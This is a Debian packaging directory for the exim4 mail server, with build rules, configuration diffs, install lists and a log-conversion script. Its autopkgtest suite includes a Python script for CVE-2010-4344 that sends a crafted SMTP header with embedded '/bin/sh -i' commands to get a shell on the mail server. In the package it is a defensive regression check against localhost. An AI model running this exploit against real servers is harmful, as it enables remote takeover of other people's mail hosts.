debian/0000755000000000000000000000000013237643207007175 5ustar debian/EDITME.openssl.exim4-light.diff0000644000000000000000000000131712200230010014561 0ustar --- EDITME.exim4-light 2012-05-29 19:16:05.000000000 +0200 +++ EDITME.exim4-light 2012-05-29 19:17:05.000000000 +0200 @@ -697,13 +697,13 @@ SUPPORT_TLS=yes # Uncomment one of these settings if you are using OpenSSL; pkg-config vs not # USE_OPENSSL_PC=openssl -# TLS_LIBS=-lssl -lcrypto +TLS_LIBS=-lssl -lcrypto # Uncomment the first and either the second or the third of these if you # are using GnuTLS. If you have pkg-config, then the second, else the third. -USE_GNUTLS=yes +# USE_GNUTLS=yes # USE_GNUTLS_PC=gnutls -TLS_LIBS=-lgnutls +# TLS_LIBS=-lgnutls # If you are running Exim as a server, note that just building it with TLS # support is not all you need to do. You also need to set up a suitable debian/exim4-daemon-heavy.dirs0000644000000000000000000000010712027557533013461 0ustar /usr/lib/exim4 /usr/sbin /usr/share/man/man8 /usr/lib/exim4/local_scan debian/exim4-daemon-custom.dirs0000644000000000000000000000005512027557533013661 0ustar /usr/lib/exim4 /usr/sbin /usr/share/man/man8 debian/tests/0000755000000000000000000000000012303142707010327 5ustar debian/tests/daemon0000644000000000000000000000030112210641724011507 0ustar #!/bin/sh #-------------- # Testing exim4 #-------------- set -e DAEMON=exim4 if pidof -x $DAEMON > /dev/null; then echo "OK" else echo "ERROR: ${DAEMON} IS NOT RUNNING" exit 1 fi debian/tests/control0000644000000000000000000000010712303142707011730 0ustar Tests: daemon security Depends: exim4, python Restrictions: needs-root debian/tests/security0000644000000000000000000000021512210642071012113 0ustar #!/bin/sh #---------------------- # Testing exim security #---------------------- set -e python `dirname $0`/CVE-2010-4344.py localhost 2>&1 debian/tests/CVE-2010-4344.py0000644000000000000000000000711012210641561012270 0ustar #!/usr/bin/env python # Copyright 2010, Canonical, Ltd. # Author: Kees Cook # License: GPLv2 import socket, sys HOST = sys.argv[1] PORT = 25 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error, msg: sys.stderr.write("[ERROR] %s\n" % msg[1]) sys.exit(1) try: sock.settimeout(10) sock.connect((HOST, PORT)) except socket.error, msg: sys.stderr.write("[ERROR] %s\n" % msg[1]) sys.exit(2) def want(value, cmd=None): if cmd != None: sys.stdout.write("%s\n" % (cmd)) sock.send("%s\n" % (cmd)) data = sock.recv(1024) sys.stdout.write(data) final = data.splitlines().pop() if not final.startswith('%d ' % (value)): sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value)) sys.exit(5) return data mail_from = '' rcpt_to = '' helo = 'example.com' want(220) data = want(250, "EHLO %s" % (helo)) ident = data.splitlines()[0].split() # Extract DNS details from helo response sending_host = '%s (%s) %s' % (ident[2], helo, ident[3]) want(250, "MAIL FROM:%s" % (mail_from)) want(250, "RCPT TO:%s" % (rcpt_to)) want(354, "DATA") # want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189 # and minus the logging header... target = 8189 sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800 Envelope-from: %s Envelope-to: %s ''' % (mail_from, sending_host, mail_from, rcpt_to)) send = target - sent count = 0 padding = 3 # because of logging's " " prefix and "\n" suffix taunt = 'M4iLB0mb' header = 'MAILbombhdr%04d: ' chunksize = len(header) + 120 amount = send while amount > chunksize: prev = amount amount /= 2 chunksize = prev chunksize = 100 #print "Chunk size: %d" % (chunksize) #print "hit enter to continue" #sys.stdin.readline() while send > 0: count += 1 #print "At position %d (%d to go)" % (sent, send) data = header % (count) perline = chunksize - padding data += taunt * chunksize # Down-regulate togo = send - padding if togo > perline: togo = perline # Fill hole for easier forward calculations left = sent % 100 if left != 0: left = 100 - left if left < len(header) + (padding * 2): left += 100 togo = left - padding data = data[0:togo] sock.send('%s\n' % (data)) send -= len(data) + padding sent += len(data) + padding #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send) # This header will expand past the logging buffer sys.stdout.write("Sending exploit header\n") sock.send('HeaderX: ') for j in range(50): for i in range(3, 13): sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i) sock.send("\n"); # Now trigger the "message too large" handler sys.stdout.write("Sending body to trigger reject\n") sock.send("\n"); for i in range(700000): sock.send(taunt * 10 + "\n") sock.send(".\n") want(552) sock.settimeout(1) trigger = "MAIL FROM:%s\n" % (mail_from) sys.stdout.write(trigger) sock.send(trigger) final = "" shell = False hit = False while True: try: data = sock.recv(1024) except: break sys.stdout.write(data) sys.stdout.flush() final += data if '/bin/sh' in final: shell = True if shell and not hit: sock.send("uname -a\n") sock.send("id\n") hit = True sock.close() if shell: print "\nSystem is vulnerable" sys.exit(1) print "\nSystem appears safe" sys.exit(0) debian/syslog2eximlog0000755000000000000000000000264512027557533012123 0ustar #!/usr/bin/perl -w # # Copyright (c) 2003 Martin A. Godisch for Debian GNU/Linux, GPL =head1 NAME syslog2eximlog - make syslog output suitable for eximstats =head1 SYNOPSIS B B<<> I B<|> B =head1 DESCRIPTION syslog2eximlog converts logfiles produced by syslog when using B in your I back to exim logfile format, suitable for B. B may be B or B. The program always succeeds, invalid lines will be ignored. =head1 BUGS Please report any bugs directly to the author. =head1 AUTHOR Martin A. Godisch for Debian GNU/Linux. =head1 SEE ALSO B(8) =cut my @date = localtime(time); $date[4] += 1; $date[5] += 1900; my %names = ( "Jan", "01", "Feb", "02", "Mar", "03", "Apr", "04", "May", "05", "Jun", "06", "Jul", "07", "Aug", "08", "Sep", "09", "Oct", "10", "Nov", "11", "Dec", "12" ); while (<>) { next unless (s/^(\w{3})\s([\s\d]\d)\s(\d\d):(\d\d):(\d\d)\s\S+\sexim\[\d+\]:\s//); my ($month, $day, $hour, $min, $sec) = ($names{$1}, $2, $3, $4, $5); if (/^\d{4}-\d\d-\d\d\s\d\d:\d\d:\d\d\s/) { print $_; } else { printf "%04d-%02d-%02d %02d:%02d:%02d %s", # assume current year if month/day <= today, otherwise assume last year $month > $date[4] || $month == $date[4] && $day > $date[3] ? $date[5] - 1 : $date[5], $month, $day, $hour, $min, $sec, $_; } } exit 0; debian/exim4-daemon-light.templates0000644000000000000000000000037312027557533014516 0ustar Template: exim4-daemon-light/drec Type: error _Description: Reconfigure exim4-config instead of this package Exim4 has its configuration factored out into a dedicated package, exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'. debian/TODO0000644000000000000000000000017212027557533007667 0ustar The TODO list has moved to an alioth Tracker on https://alioth.debian.org/tracker/?atid=411651&group_id=30055&func=browse debian/exim4-daemon-heavy.links0000644000000000000000000000155512027557533013650 0ustar usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz usr/sbin/exim4 usr/lib/exim4/exim4 usr/sbin/exim4 usr/lib/sendmail usr/sbin/exim4 usr/sbin/exim usr/sbin/exim4 usr/sbin/sendmail usr/sbin/exim4 usr/sbin/runq usr/sbin/exim4 usr/sbin/rmail usr/sbin/exim4 usr/sbin/rsmtp usr/sbin/exim4 usr/bin/mailq usr/sbin/exim4 usr/bin/newaliases usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-heavy/changelog.gz usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-heavy/README.Debian.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz debian/exim4-daemon-heavy.install0000644000000000000000000000005712027557533014172 0ustar debian/script usr/share/bug/exim4-daemon-heavy debian/passwd.client0000644000000000000000000000031412027557533011676 0ustar # password file used when the local exim is authenticating to a remote # host as a client. # # see exim4_passwd_client(5) for more documentation # # Example: ### target.mail.server.example:login:password debian/rules0000755000000000000000000004160212200230010010225 0ustar #!/usr/bin/make -f # debian/rules for exim4 # This file is public domain software, originally written by Joey Hess. # # Uncomment this to turn on verbose mode. # export DH_VERBOSE=1 buildname := $(shell scripts/os-type)-$(shell scripts/arch-type) DEBIAN := $(shell pwd)/debian ifeq ($(wildcard /usr/share/dpkg/buildflags.mk),) CFLAGS := -g ifneq (,$(findstring noopt,$(DEB_BUILD_OPTIONS))) CFLAGS += -O0 else CFLAGS += -O2 endif else export DEB_BUILD_MAINT_OPTIONS := hardening=+bindnow,+pie DPKG_EXPORT_BUILDFLAGS := 1 include /usr/share/dpkg/buildflags.mk endif # The build system ignores CPPFLAGS, append them to CFLAGS CFLAGS := $(CFLAGS) $(shell getconf LFS_CFLAGS) -D_LARGEFILE_SOURCE -fno-strict-aliasing -Wall $(CPPFLAGS) export CFLAGS # LFLAGS is used where GNU would use LDFLAGS export LFLAGS += $(LDFLAGS) LC_ALL=C export LC_ALL # Which packages should we build? ifndef buildbasepackages buildbasepackages=yes endif ifndef extradaemonpackages extradaemonpackages=exim4-daemon-heavy endif # If you want to build a daemon with a configuration tailored to YOUR special # needs, call "fakeroot debian/rules unpack-configs", copy EDITME.exim4-light # to EDITME.exim4-custom and modify it. Please note that you _need_ to # modify EDITME.exim4-custom or your build will fail due to #386188. # # If you want to create multiple custom packages with different names, use # the script debian/create-custom-package [suffix]. # # Afterwards EITHER change the definition of extradaemonpackages above OR # simply set extradaemonpackages to the desired value via the environment. # If you want your changes to survive a debian/rules clean, call # "fakeroot debian/rules pack-configs" after customizing EDITME.exim4-custom # If you remove exim4-daemon-light from basedaemonpackages to prevent # exim4-daemon-light from being built, you need to modify the build # process to pull the helper binaries from the daemon package that you # actually build. If you simply remove exim4-daemon-light here, you will # end up with exim4-base sans binaries, which is most probably not what # you intend to have. # # combined[ai]dbgpackage has a list of packages whose debug information # goes into the combined debug package exim4-dbg, separated as arch # independent and arch dependent list. # extraadbgpackage has a list of packages whose debug information # goes into one debug package foo-dbg per package. This is currently # only implemented and needed for arch dependent packages. ifeq ($(buildbasepackages),yes) basedaemonpackages=exim4-daemon-light combinedadbgpackage=exim4-base eximon4 combinedidbgpackage=exim4-config exim4 exim4dbg=exim4-dbg dhstripparm=--dbg-package=$(exim4dbg) exim4dev=exim4-dev extraadbgpackage=$(basedaemonpackages) $(extradaemonpackages) else basedaemonpackages= combinedadbgpackage= combinedidbgpackage= exim4dbg= dhstripparm= exim4dev= extraadbgpackage=$(extradaemonpackages) endif #DEBUGOUT:=$(shell echo >&2 buildbasepackages $(buildbasepackages)) #DEBUGOUT:=$(shell echo >&2 extradaemonpackages $(extradaemonpackages)) # If you want to build with OpenSSL instead of GnuTLS, uncomment this # OPENSSL:=1 # Please note that building exim4-daemon-heavy with OpenSSL is a GPL # violation. # list of all arch dependent packages to be built buildpackages=$(combinedadbgpackage) $(extraadbgpackage) $(addsuffix -dbg,$(extraadbgpackage)) $(exim4dbg) $(exim4dev) # generate -pexim4-base -peximon4 ... commandline for debhelper dhbuildpackages=$(addprefix -p,$(buildpackages)) dhcombinedadbgpackage=$(addprefix -p,$(combinedadbgpackage)) dhcombinedidbgpackage=$(addprefix -p,$(combinedidbgpackage)) # exim4-daemon-heavy --> b-exim4-daemon-heavy/build-Linux-x86_64/exim daemonbinaries=$(addprefix b-,$(addsuffix /build-$(buildname)/exim,$(extradaemonpackages))) debiandaemonbinaries=$(addprefix $(DEBIAN)/,$(addsuffix /usr/sbin/exim4,$(extradaemonpackages))) BDIRS=$(addprefix b-,$(extradaemonpackages) $(basedaemonpackages)) # get upstream-version from debian/changelog, i.e. anything until the first - DEBVERSION := $(shell dpkg-parsechangelog | sed -n '/^Version: /s/^Version: //p') UPSTREAMVERSION := $(shell echo $(DEBVERSION) | sed -n 's/\(.\+\)-[^-]\+/\1/p') MTACONFLICTS := $(shell cat $(DEBIAN)/mtalist) # set up build directory b-exim4-daemon-heavy/ $(addsuffix /Makefile,$(BDIRS)): %/Makefile: mkdir $* find . -mindepth 1 -maxdepth 1 \ -name debian -prune -o \ -name 'b-*' -o -print0 | \ xargs --no-run-if-empty --null \ cp -a --target-directory=$* unpack-configs: unpack-configs-stamp unpack-configs-stamp: src/EDITME exim_monitor/EDITME patch -o EDITME.eximon exim_monitor/EDITME \ $(DEBIAN)/EDITME.eximon.diff patch -o EDITME.exim4-light src/EDITME \ $(DEBIAN)/EDITME.exim4-light.diff ifdef OPENSSL patch EDITME.exim4-light $(DEBIAN)/EDITME.openssl.exim4-light.diff endif -for editme in $(DEBIAN)/EDITME.exim4-*.diff; do \ if [ "$$editme" != "$(DEBIAN)/EDITME.exim4-light.diff" ]; then \ TARGETNAME=`basename $$editme .diff`; \ echo patch -o $$TARGETNAME EDITME.exim4-light $$editme; \ patch -o $$TARGETNAME EDITME.exim4-light $$editme; \ fi; \ done touch unpack-configs-stamp pack-configs: -diff -u src/EDITME EDITME.exim4-light \ > $(DEBIAN)/EDITME.exim4-light.diff -for editme in EDITME.exim4-*; do \ if [ "$$editme" != "EDITME.exim4-light" ]; then \ echo diff -u EDITME.exim4-light $$editme; \ diff -u EDITME.exim4-light $$editme > $(DEBIAN)/$${editme}.diff; \ fi; \ done -diff -u exim_monitor/EDITME EDITME.eximon \ > $(DEBIAN)/EDITME.eximon.diff # only called manually by maintainer before upload. update-mtaconflicts: which grep-available > /dev/null && \ grep-available --show-field=Package --field=Provides \ mail-transport-agent --no-field-names \ /var/lib/apt/lists/*Packages | grep -v exim | sort -u | \ tr '\n' ',' | sed -e 's/,/, /g;s/, $$//' > $(DEBIAN)/mtalist # Generate README.Debian as text/html ... debian/README.Debian.html: debian/README.Debian.xml xsltproc --nonet --stringparam section.autolabel 1 \ -o $@ \ /usr/share/xml/docbook/stylesheet/nwalsh/html/docbook.xsl \ $< # ... and text/plain debian/README.Debian: debian/README.Debian.html chmod 755 $(DEBIAN)/lynx-dump-postprocess lynx -force_html -dump $< | $(DEBIAN)/lynx-dump-postprocess > $@.tmp mv $@.tmp $@ configure: configure-stamp configure-stamp: $(addsuffix /Makefile,$(BDIRS)) unpack-configs-stamp dh_testdir # Add here commands to configure the package. # We currently do not want to build depend on debhelper 7.2.3 just to # keep it from installing the wrong upstream changelog. 490937 rm -fv CHANGES touch $@ # Build binaries for the base package, the eximon4 package, and the # exim4-daemon-light package. b-exim4-daemon-light/build-$(buildname)/exim: b-exim4-daemon-light/Makefile configure-stamp @echo build $( exim.1 touch build-indep-stamp build-arch: build-arch-stamp test-stamp ifeq ($(buildbasepackages),yes) build-arch-stamp: b-exim4-daemon-light/build-$(buildname)/exim $(daemonbinaries) else build-arch-stamp: $(daemonbinaries) endif dh_testdir # Which version of Berkeley DB are we building against? printf '#include \ninstdbversionis DB_VERSION_MAJOR DB_VERSION_MINOR\n' | \ cpp | grep instdbversionis |\ sed -e 's/[[:space:]]*instdbversionis[[:space:]]//' \ -e 's/[[:space:]][[:space:]]*/./' \ -e 's_^_s/^BDBVERSION=.*/BDBVERSION=_' \ -e 's_$$_/_' \ > $(DEBIAN)/berkeleydb.sed # Store Berkeley DB version in postinst script. sed -i -f $(DEBIAN)/berkeleydb.sed \ $(DEBIAN)/exim4-base.postinst touch build-arch-stamp test-stamp: build-arch-stamp # it is not possible to run exim unless the compile-time specified # user exists. if id -u Debian-exim ; then \ echo Debian-exim user found, running minimal testsuite ; \ chmod +x debian/minimaltest ; \ rm -rf $(CURDIR)/test ; \ for i in b-exim4-daemon-light/build-$(buildname)/exim \ $(daemonbinaries) ;\ do mkdir $(CURDIR)/test && \ debian/minimaltest $(CURDIR)/test $$i || \ { echo testsuite error ; exit 1 ; } ; \ rm -rf $(CURDIR)/test ; \ done \ fi touch $@ build: build-arch build-indep clean: cleanfiles cleanfiles: dh_testdir dh_testroot debconf-updatepo rm -f build-stamp configure-stamp installbase-stamp test-stamp # Add here commands to clean up after the build process. [ ! -f Makefile ] || $(MAKE) distclean -rm -rf build-* doc/tmp test/ -rm -f EDITME.* unpack-configs-stamp -rm -f $(DEBIAN)/debconf/exim4.conf.template $(DEBIAN)/files \ $(DEBIAN)/README.Debian $(DEBIAN)/README.Debian.html \ $(DEBIAN)/berkeleydb.sed #these are identical for all daemon-* and therefore symlinked @cd $(DEBIAN) && find . -maxdepth 1 \ -regex '^\./exim4-daemon-.*\.\(postinst\|prerm\)$$' \ -and -not -name 'exim4-daemon-light.*' -print0 \ | xargs -0r rm -v #pwd chmod 755 $(DEBIAN)/exim-gencert \ $(DEBIAN)/lynx-dump-postprocess $(DEBIAN)/script \ $(DEBIAN)/exim-adduser dh_clean rm -rf $(BDIRS) # fix broken (0600) permissions in original tarball #find OS doc scripts exim_monitor src util -perm -044 -or -print0 |\ # xargs -0r chmod -c og+r installbase-stamp: b-exim4-daemon-light/build-$(buildname)/exim debian/README.Debian debian/README.Debian.html dh_testdir dh_testroot dh_prep dh_installdirs cd b-exim4-daemon-light && \ $(MAKE) install FULLECHO='' \ INSTALL_ARG=-no_symlink \ inst_conf=$(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf \ inst_aliases=$(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/aliases \ inst_dest=$(DEBIAN)/exim4-base/usr/sbin if [ -e "$(DEBIAN)/example.conf.md5" ] && [ "$$(< $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum)" != "$$(cat $(DEBIAN)/example.conf.md5)" ] ; then \ echo "upstream example configuration has changed, new md5sum:"; \ < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum; \ echo "aborting build."; \ exit 1; \ fi < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum > $(DEBIAN)/example.conf.md5 sed -e 's,/[a-zA-Z/0-9.-]*exim4-base/examples/,/etc/,' \ < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf \ > $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf.tmp mv $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf.tmp \ $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf install -m755 b-exim4-daemon-light/build-$(buildname)/convert4r4 \ $(DEBIAN)/exim4-base/usr/sbin/exim_convert4r4 install -m755 \ b-exim4-daemon-light/build-$(buildname)/transport-filter.pl \ b-exim4-daemon-light/util/ratelimit.pl \ $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples mv $(DEBIAN)/exim4-base/usr/sbin/exim \ $(DEBIAN)/exim4-daemon-light/usr/sbin/exim4 # fix permissions of /usr/sbin/exim4 if running with restrictive umask, # dh_fixperms sanitizes anything else chmod 4755 $(DEBIAN)/exim4-daemon-light/usr/sbin/exim4 mv $(DEBIAN)/exim4-base/usr/sbin/eximon \ $(DEBIAN)/eximon4/usr/sbin mv $(DEBIAN)/exim4-base/usr/sbin/eximon.bin \ $(DEBIAN)/eximon4/usr/lib/exim4 pod2man --center=EXIM4 --section=8 \ $(DEBIAN)/exim4-base/usr/sbin/exipick \ $(DEBIAN)/exim4-base/usr/share/man/man8/exipick.8 pod2man --center=EXIM4 --section=8 \ $(DEBIAN)/exim4-base/usr/sbin/eximstats \ $(DEBIAN)/exim4-base/usr/share/man/man8/eximstats.8 install -m755 $(DEBIAN)/syslog2eximlog $(DEBIAN)/exim4-base/usr/sbin/ pod2man --center=EXIM4 --section=8 \ $(DEBIAN)/syslog2eximlog \ $(DEBIAN)/exim4-base/usr/share/man/man8/syslog2eximlog.8 # if you change anything here, you will have to change # config-custom/debian/rules as well sed -e \ "s/^UPEX4C_version=\"\"/UPEX4C_version=\"$(DEBVERSION)\"/" \ < $(DEBIAN)/debconf/update-exim4.conf \ > $(DEBIAN)/exim4-config/usr/sbin/update-exim4.conf chmod 755 $(DEBIAN)/exim4-config/usr/sbin/update-exim4.conf install -m 755 $(DEBIAN)/update-exim4defaults \ $(DEBIAN)/exim4-config/usr/sbin cd $(DEBIAN)/debconf/conf.d && \ tar cf - `find \( -path '*/.svn/*' -prune \) -or \ \( -type f -print \)` | \ { cd $(DEBIAN)/exim4-config/etc/exim4/conf.d/ && \ tar xf - ; } # ship a copy in examples # install -m644 $(DEBIAN)/debconf/exim4.conf.template $(DEBIAN)/exim4-config/usr/share/doc/exim4-config/examples/exim4.conf.template.debconf install -m644 $(DEBIAN)/email-addresses $(DEBIAN)/exim4-config/etc/ install -m640 -oroot -groot $(DEBIAN)/passwd.client \ $(DEBIAN)/exim4-config/etc/exim4/ chmod 755 $(DEBIAN)/debconf/update-exim4.conf.template env CONFDIR=$(DEBIAN)/debconf \ $(DEBIAN)/debconf/update-exim4.conf.template --nobackup --run # dh_movefiles touch installbase-stamp # This dependency expands to # debian/exim4-daemon-heavy/usr/sbin/exim4: b-exim4-daemon-heavy/build-Linux-x86_64/exim $(debiandaemonbinaries): $(DEBIAN)/%/usr/sbin/exim4: b-%/build-$(buildname)/exim dh_testdir dh_testroot dh_installdirs install -m4755 -oroot -groot $< $@ # Build architecture-independent files here. # this is just exim4-config and exim4. binary-indep: build $(install) ifeq ($(buildbasepackages),yes) dh_testdir -i dh_testroot -i # upstream changelog is only in exim4-base dh_link -i dh_installchangelogs -i -XCHANGES dh_installdocs -i dh_installexamples -i #dh_installmenu -i dh_installdebconf -i dh_installlogrotate -i # dh_installemacsen -i #dh_installpam -i #dh_installmime -i # dh_installinit -i dh_installcron -i # dh_installinfo -i # dh_undocumented -i dh_installppp -i --name=exim4 dh_installman -i dh_install -i dh_lintian -i dh_strip $(dhcombinedidbgpackage) $(dhstripparm) #for pkg in $(extraidbgpackage); do \ # dh_strip -p$$pkg --dbg-package=$${pkg}-dbg; \ #done dh_compress -i dh_fixperms -i -X/etc/exim4/passwd.client # dh_makeshlibs -i dh_installdeb -i # dh_perl -i dh_shlibdeps -i dh_gencontrol -i -- -VUpstream-Version=$(UPSTREAMVERSION) \ -VMTA-Conflicts="$(MTACONFLICTS)" dh_md5sums -i dh_builddeb -i endif # Build architecture-dependent files here. ifeq ($(buildbasepackages),yes) install=installbase-stamp $(debiandaemonbinaries) else install=$(debiandaemonbinaries) endif binary-arch: build $(install) dh_testdir $(dhbuildpackages) dh_testroot $(dhbuildpackages) # symlink identical maintainerscripts @for i in $(extradaemonpackages) ; do \ ln -sfv exim4-daemon-light.prerm \ "$(DEBIAN)/$$i.prerm" ; \ ln -sfv exim4-daemon-light.postinst \ "$(DEBIAN)/$$i.postinst" ; \ done # upstream changelog is only in exim4-base, the other packages include # a symlink dh_installchangelogs -pexim4-base doc/ChangeLog # remove "-pexim4-base" from "-pexim4-base -pexim4-daemon-light ..." dh_installchangelogs $(subst -pexim4-base ,,$(dhbuildpackages)) \ -XCHANGES dh_installdocs $(dhbuildpackages) dh_installexamples $(dhbuildpackages) dh_installmenu $(dhbuildpackages) dh_installdebconf $(dhbuildpackages) dh_installlogrotate $(dhbuildpackages) dh_installlogrotate $(dhbuildpackages) --name=exim4-paniclog # dh_installemacsen $(dhbuildpackages) dh_installpam $(dhbuildpackages) dh_installmime $(dhbuildpackages) #dh_installinit $(dhbuildpackages) --noscripts --name=exim4 # work around #347577 (fixed in debhelper 5.0.15) dh_installinit $(dhbuildpackages) -n --name=exim4 dh_installcron $(dhbuildpackages) # dh_installinfo $(dhbuildpackages) # dh_undocumented $(dhbuildpackages) dh_installman $(dhbuildpackages) dh_install $(dhbuildpackages) # install config.h from daemon package, but not from exim4-daemon-light dh_install -p exim4-dev \ $(shell ls -1 b-exim4-daemon-*/build-$(buildname)/config.h | grep -v ^b-exim4-daemon-light/) \ usr/include/exim4 dh_lintian $(dhbuildpackages) dh_strip $(dhcombinedadbgpackage) $(dhstripparm) for pkg in $(extraadbgpackage); do \ dh_strip -p$$pkg --dbg-package=$${pkg}-dbg; \ done dh_link $(dhbuildpackages) dh_compress $(dhbuildpackages) dh_fixperms $(dhbuildpackages) -Xusr/sbin/exim4 # dh_makeshlibs $(dhbuildpackages) dh_installdeb $(dhbuildpackages) # dh_perl $(dhbuildpackages) dh_shlibdeps $(dhbuildpackages) dh_gencontrol $(dhbuildpackages) -- \ -VUpstream-Version=$(UPSTREAMVERSION) \ -VMTA-Conflicts="$(MTACONFLICTS)" dh_md5sums $(dhbuildpackages) dh_builddeb $(dhbuildpackages) binary: binary-arch binary-indep .PHONY: build clean binary-indep binary-arch binary install debian/eximon4.manpages0000644000000000000000000000003112027557533012271 0ustar debian/manpages/eximon.8 debian/EDITME.exim4-light.diff0000644000000000000000000001572112200230010013103 0ustar --- src/EDITME 2012-05-18 19:51:52.000000000 +0200 +++ EDITME.exim4-light 2012-05-18 19:56:25.000000000 +0200 @@ -98,7 +98,7 @@ # /usr/local/sbin. The installation script will try to create this directory, # and any superior directories, if they do not exist. -BIN_DIRECTORY=/usr/exim/bin +BIN_DIRECTORY=/usr/sbin #------------------------------------------------------------------------------ @@ -114,7 +114,7 @@ BIN_DIRECTORY=/usr/exim/bin # don't exist. It will also install a default runtime configuration if this # file does not exist. -CONFIGURE_FILE=/usr/exim/configure +CONFIGURE_FILE=/etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated # It is possible to specify a colon-separated list of files for CONFIGURE_FILE. # In this case, Exim will use the first of them that exists when it is run. @@ -131,7 +131,7 @@ CONFIGURE_FILE=/usr/exim/configure # deliveries. (Local deliveries run as various non-root users, typically as the # owner of a local mailbox.) Specifying these values as root is not supported. -EXIM_USER= +EXIM_USER=ref:Debian-exim # If you specify EXIM_USER as a name, this is looked up at build time, and the # uid number is built into the binary. However, you can specify that this @@ -153,6 +153,7 @@ EXIM_USER= # you want to use a group other than the default group for the given user. # EXIM_GROUP= +EXIM_GROUP=ref:Debian-exim # Many sites define a user called "exim", with an appropriate default group, # and use @@ -173,7 +174,7 @@ EXIM_USER= # Almost all installations choose this: -SPOOL_DIRECTORY=/var/spool/exim +SPOOL_DIRECTORY=/var/spool/exim4 @@ -232,7 +233,7 @@ TRANSPORT_SMTP=yes # This one is special-purpose, and commonly not required, so it is not # included by default. -# TRANSPORT_LMTP=yes +TRANSPORT_LMTP=yes #------------------------------------------------------------------------------ @@ -241,8 +242,8 @@ TRANSPORT_SMTP=yes # MBX, is included only when requested. If you do not know what this is about, # leave these settings commented out. -# SUPPORT_MAILDIR=yes -# SUPPORT_MAILSTORE=yes +SUPPORT_MAILDIR=yes +SUPPORT_MAILSTORE=yes # SUPPORT_MBX=yes @@ -296,15 +297,15 @@ LOOKUP_DBM=yes LOOKUP_LSEARCH=yes LOOKUP_DNSDB=yes -# LOOKUP_CDB=yes -# LOOKUP_DSEARCH=yes +LOOKUP_CDB=yes +LOOKUP_DSEARCH=yes # LOOKUP_IBASE=yes # LOOKUP_LDAP=yes # LOOKUP_MYSQL=yes -# LOOKUP_NIS=yes +LOOKUP_NIS=yes # LOOKUP_NISPLUS=yes # LOOKUP_ORACLE=yes -# LOOKUP_PASSWD=yes +LOOKUP_PASSWD=yes # LOOKUP_PGSQL=yes # LOOKUP_SQLITE=yes # LOOKUP_SQLITE_PC=sqlite3 @@ -528,7 +529,7 @@ FIXED_NEVER_USERS=root # CONFIGURE_OWNER setting, to specify a configuration file which is listed in # the TRUSTED_CONFIG_LIST file, then root privileges are not dropped by Exim. -# TRUSTED_CONFIG_LIST=/usr/exim/trusted_configs +TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs #------------------------------------------------------------------------------ @@ -564,6 +565,9 @@ FIXED_NEVER_USERS=root # WHITELIST_D_MACROS=TLS:SPOOL +# Mailscanner uses -DOUTGOING. +WHITELIST_D_MACROS=OUTGOING + #------------------------------------------------------------------------------ # Exim has support for the AUTH (authentication) extension of the SMTP # protocol, as defined by RFC 2554. If you don't know what SMTP authentication @@ -573,14 +577,14 @@ FIXED_NEVER_USERS=root # included in the Exim binary. You will then need to set up the run time # configuration to make use of the mechanism(s) selected. -# AUTH_CRAM_MD5=yes +AUTH_CRAM_MD5=yes # AUTH_CYRUS_SASL=yes # AUTH_DOVECOT=yes # AUTH_GSASL=yes # AUTH_GSASL_PC=libgsasl # AUTH_HEIMDAL_GSSAPI=yes # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi -# AUTH_PLAINTEXT=yes +AUTH_PLAINTEXT=yes # AUTH_SPA=yes @@ -602,7 +606,7 @@ FIXED_NEVER_USERS=root # one that is set in the headers_charset option. The default setting is # defined by this setting: -HEADERS_CHARSET="ISO-8859-1" +HEADERS_CHARSET="UTF-8" # If you are going to make use of $header_xxx expansions in your configuration # file, or if your users are going to use them in filter files, and the normal @@ -684,7 +688,7 @@ HEADERS_CHARSET="ISO-8859-1" # leave these settings commented out. # This setting is required for any TLS support (either OpenSSL or GnuTLS) -# SUPPORT_TLS=yes +SUPPORT_TLS=yes # Uncomment one of these settings if you are using OpenSSL; pkg-config vs not # USE_OPENSSL_PC=openssl @@ -692,9 +696,9 @@ HEADERS_CHARSET="ISO-8859-1" # Uncomment the first and either the second or the third of these if you # are using GnuTLS. If you have pkg-config, then the second, else the third. -# USE_GNUTLS=yes +USE_GNUTLS=yes # USE_GNUTLS_PC=gnutls -# TLS_LIBS=-lgnutls -ltasn1 -lgcrypt +TLS_LIBS=-lgnutls # If you are running Exim as a server, note that just building it with TLS # support is not all you need to do. You also need to set up a suitable @@ -775,6 +779,7 @@ CFLAGS += -fvisibility=hidden # to form the final file names. Some installations may want something like this: # LOG_FILE_PATH=/var/log/exim_%slog +LOG_FILE_PATH=/var/log/exim4/%slog # which results in files with names /var/log/exim_mainlog, etc. The directory # in which the log files are placed must exist; Exim does not try to create @@ -823,7 +828,7 @@ 